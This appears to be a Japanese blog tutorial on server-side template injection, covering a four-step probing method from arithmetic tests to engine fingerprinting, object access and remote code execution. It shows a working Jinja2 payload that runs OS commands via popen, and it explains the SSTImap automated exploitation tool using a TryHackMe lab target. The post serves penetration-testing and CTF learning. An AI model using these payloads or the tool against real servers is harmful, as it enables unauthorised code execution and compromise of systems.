はじめに
SSTI 脆弱性の発見〜自動攻撃までを一気に攻略
SSTI(Server-Side Template Injection)は、テンプレートエンジンがユーザー入力をそのまま評価してしまうことで発生するサーバーサイド脆弱性です。脆弱なサーバーに到達できれば、内部オブジェクトの参照・コード実行(RCE)まで可能になる強力な攻撃ベクトルです。
本記事では、
- SSTI の調査方法を体系化した SSTImap の考え方
- GitHub の攻撃ツール SSTImap(自動攻撃フレームワーク)
- 実行方法・活用シナリオ・エンジン別の挙動
をまとめて解説します。
1. SSTImap(概念)とは?
SSTImap は、CTF・ペンテストで定番の SSTI 脆弱性調査 “思考マップ” のこと。
SSTI を攻略する際のステップは以下の4段階に整理できます:
① 計算できるか試す(サニティチェック)
エンジンの式が評価されるかを調べるための軽いペイロード。
| テンプレ | テスト例 |
|---|---|
| Jinja2/Twig | {{7*7}} |
| Pug/Jade | #{7*7} |
| EJS/ERB | <%= 7*7 %> |
| Velocity | ${7*7} |
49 が返れば Jinja2 系の可能性が高い。
② テンプレートエンジンの特定(Fingerprinting)
よく使う判別方法:
- 構文がエラーになるか
-
{{ [].__class__ }}が評価できるか -
${7*7}で動くか -
{ 'abc'|upper }が動く(Smarty) - コメントの書式など
これで Jinja2 / Twig / Smarty / Pug / Velocity などが判別できる。
③ オブジェクトアクセス段階に進む
例えば Jinja2 なら:
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
この“内部 API に触れる”段階が肝。
④ OS コマンド実行(RCE)へ到達
代表例(Jinja2):
{{ ''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
これは最終ステージ。
こうした「SSTI 脆弱性を発見 → 分類 → 深掘り → RCE」の流れを整理したものを総称して SSTImap と呼ぶ。
2. SSTImap(ツール版)とは?
GitHub: https://github.com/vladko312/SSTImap
SSTImap はこの SSTImap(思考マップ)を完全に自動化したツールです。
できること
- 各種テンプレートエンジンの自動判定
- SSTI の存在確認
- 既知ペイロードによる自動 Exploit
- RCE 可能性の最大化
AttackBox では /opt/SSTImap にプリインストール済み
ローカルで使うなら、自分で clone する。
3. SSTImap のインストール手順
① Clone
git clone https://github.com/vladko312/SSTImap.git
② 移動
cd SSTImap
③ 依存関係インストール
pip install -r requirements.txt
これで準備完了。
4. SSTImap の使い方(最重要)
SSTImap は URL と HTTP メソッドを指定するだけで、自動的に:
- テンプレートエンジン判定
- ペイロードの調整
- 攻撃ルートの探索
- Exploit 実行
までやってくれる。
基本コマンド
python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='
意味:
-
-X POST→ POST リクエストを送る -
-u URL→ 対象のエンドポイント -
-d 'page='→ 注入位置(パラメータ)
▶ 解析の流れ(ツール内部で行われること)
{{7\*7}}など基本ペイロードを送って挙動を観察- Jinja2 / Twig / Smarty / Velocity などを推定
- そのエンジン専用の Exploit を送る
- 可能な場合は RCE まで試行
まさに SSTI の「全自動攻撃ツール」。
5. 実例:TryHackMe の SSTI 検出
TryHackMe の Mako テンプレートのエンドポイントに対して
python3 sstimap.py -X POST -u 'http://ssti.thm:8002/mako/' -d 'page='
と実行すると、
- Mako テンプレート特有の挙動を検出
- ペイロードによるコード実行も試行
- 成功すれば RCE 結果を返す
という流れになる。
6. SSTImap を使う際の注意点(実務者視点)
実際のプロダクションで使う場合、負荷に注意
テンプレートエンジンに大量のペイロードを送るため、ログにも残るし WAF にも引っかかりやすい。
サンドボックスが硬い場合は限界がある
Twig, Go Template などは設定によってほぼ RCE 不可能な場合もある。
開示責任(Responsible Disclosure)が必要
攻撃者視点のツールなので、使用場所には細心の注意を。
まとめ:SSTImap は “SSTI 攻撃の自動モンスター”
SSTImap(概念)
- テンプレートエンジンの挙動を段階的に調べる思考パターン
- 計算 → エンジン判定 → オブジェクトアクセス → RCE
SSTImap(GitHub ツール)
- SSTI の検出・特定・Exploit を全自動化する Python ツール
- URL とパラメータを渡すだけで攻撃ルートを探索してくれる